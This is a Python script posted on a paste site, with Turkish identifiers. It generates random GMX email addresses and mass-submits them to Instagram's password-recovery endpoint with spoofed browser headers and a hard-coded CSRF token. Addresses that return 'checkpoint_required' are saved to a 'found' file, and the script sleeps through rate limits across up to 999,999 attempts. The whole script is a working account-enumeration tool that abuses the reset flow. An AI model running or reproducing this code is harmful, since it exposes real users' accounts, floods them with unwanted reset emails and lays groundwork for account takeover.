Untitled

 avatar
unknown
plain_text
2 years ago
9.0 kB
12
Indexable
import requests
import string
import random
import json
import time
from random import choice
import os
import subprocess

toplamdeneme=0
sira=0


## Ayarlar ##
sayitarama=True
harftarama=False


def generate_alternating_string(length):
                    vowels = 'qwertyuasdfghjzxcvbnm'
                    consonants = 'qwertyuasdfghjzxcvbnm'

                    random_string = ''
                    for i in range(length):
                        if i % 2 == 0:
                            random_string += random.choice(consonants)
                        else:
                            random_string += random.choice(vowels)

                    return random_string

for x in range (999999):
            try:
                    

                    kullaniciadi=generate_alternating_string(7)
                    if(kullaniciadi==""):
                              break   

                    if(sayitarama==True):
                        for a in range (1):              

                            if(a==0):
                                    amail=kullaniciadi+"@gmx.com"
                        
                                
                            elif(a==10):
                                amail=kullaniciadi+"0@gmx.com"
                                
                                
                            else:
                                amail=kullaniciadi+str(a)+"@gmx.com"

                            if(kullaniciadi==""):
                                
                                break    

                            headers = {
                                'authority': 'www.instagram.com',
                                'accept': '*/*',
                                'accept-language': 'tr-TR,tr;q=0.9',
                                'content-type': 'application/x-www-form-urlencoded',
                                # 'cookie': 'ig_did=97A2C461-2B56-4338-90E1-28EAB4F33154; ig_nrcb=1; csrftoken=ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf; mid=ZF8BrQALAAFpWsDJufBfucgubBZ9; datr=qgFfZMKUtcSzRO48-dtHMb0K',
                                'dnt': '1',
                                'origin': 'https://www.instagram.com',
                                'referer': 'https://www.instagram.com/accounts/password/reset/',
                                'sec-ch-prefers-color-scheme': 'dark',
                                'sec-ch-ua': '"Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"',
                                'sec-ch-ua-full-version-list': '"Google Chrome";v="113.0.5672.93", "Chromium";v="113.0.5672.93", "Not-A.Brand";v="24.0.0.0"',
                                'sec-ch-ua-mobile': '?0',
                                'sec-ch-ua-platform': '"Windows"',
                                'sec-ch-ua-platform-version': '"14.0.0"',
                                'sec-fetch-dest': 'empty',
                                'sec-fetch-mode': 'cors',
                                'sec-fetch-site': 'same-origin',
                                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
                                'viewport-width': '1920',
                                'x-asbd-id': '198387',
                                'x-csrftoken': 'ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf',
                                'x-ig-app-id': '936619743392459',
                                'x-ig-www-claim': '0',
                                'x-instagram-ajax': '1007489956',
                                'x-requested-with': 'XMLHttpRequest',
                            }

                            data = {
                                'email_or_username': amail,
                                'recaptcha_challenge_field': '',
                            }

                            response = requests.post(
                                'https://www.instagram.com/api/v1/web/accounts/account_recovery_send_ajax/',
                                headers=headers,
                                data=data,
                            )

                            responsedict = json.loads(response.content)
                            cevap=responsedict['message']
                            toplamdeneme=toplamdeneme+1
                            print(amail+ str(", Deneme : "+str(toplamdeneme)))

                            print(cevap)
                        

                            if (cevap=="checkpoint_required"):
                                    ths = open("bulunanlar.txt", "a")
                                    ths.write(str(amail) +"\n")
                                    ths.close()

                            if (cevap=="Tekrar denemeden önce lütfen birkaç dakika bekle."):
                                time.sleep(5)
                                

                    if(harftarama==True):

                        for a in range (23):              
                            harfler="qwertyuasdfghjzxcvbnm"
                            amail=kullaniciadi+str(harfler[a:a+1])+"@gmx.com"

                            if(a==22):
                                amail=kullaniciadi+"@gmx.com"

                            if(kullaniciadi==""):
                                break    

                            headers = {
                                'authority': 'www.instagram.com',
                                'accept': '*/*',
                                'accept-language': 'tr-TR,tr;q=0.9',
                                'content-type': 'application/x-www-form-urlencoded',
                                # 'cookie': 'ig_did=97A2C461-2B56-4338-90E1-28EAB4F33154; ig_nrcb=1; csrftoken=ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf; mid=ZF8BrQALAAFpWsDJufBfucgubBZ9; datr=qgFfZMKUtcSzRO48-dtHMb0K',
                                'dnt': '1',
                                'origin': 'https://www.instagram.com',
                                'referer': 'https://www.instagram.com/accounts/password/reset/',
                                'sec-ch-prefers-color-scheme': 'dark',
                                'sec-ch-ua': '"Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"',
                                'sec-ch-ua-full-version-list': '"Google Chrome";v="113.0.5672.93", "Chromium";v="113.0.5672.93", "Not-A.Brand";v="24.0.0.0"',
                                'sec-ch-ua-mobile': '?0',
                                'sec-ch-ua-platform': '"Windows"',
                                'sec-ch-ua-platform-version': '"14.0.0"',
                                'sec-fetch-dest': 'empty',
                                'sec-fetch-mode': 'cors',
                                'sec-fetch-site': 'same-origin',
                                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
                                'viewport-width': '1920',
                                'x-asbd-id': '198387',
                                'x-csrftoken': 'ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf',
                                'x-ig-app-id': '936619743392459',
                                'x-ig-www-claim': '0',
                                'x-instagram-ajax': '1007489956',
                                'x-requested-with': 'XMLHttpRequest',
                            }

                            data = {
                                'email_or_username': amail,
                                'recaptcha_challenge_field': '',
                            }

                            response = requests.post(
                                'https://www.instagram.com/api/v1/web/accounts/account_recovery_send_ajax/',
                                headers=headers,
                                data=data,
                            )

                            responsedict = json.loads(response.content)
                            cevap=responsedict['message']
                            toplamdeneme=toplamdeneme+1
                            print(amail+ str(", Deneme : "+str(toplamdeneme)))

                            print(cevap)
                        

                            if (cevap=="checkpoint_required"):
                                    ths = open("bulunanlar.txt", "a")
                                    ths.write(str(amail) +"\n")
                                    ths.close()

                            if (cevap=="Tekrar denemeden önce lütfen birkaç dakika bekle."):
                                time.sleep(5)
                                

            except Exception as e:
                time.sleep(5)
                print("hata "+ str(e))      
                

print("İşlemler bitti")                


Editor is loading...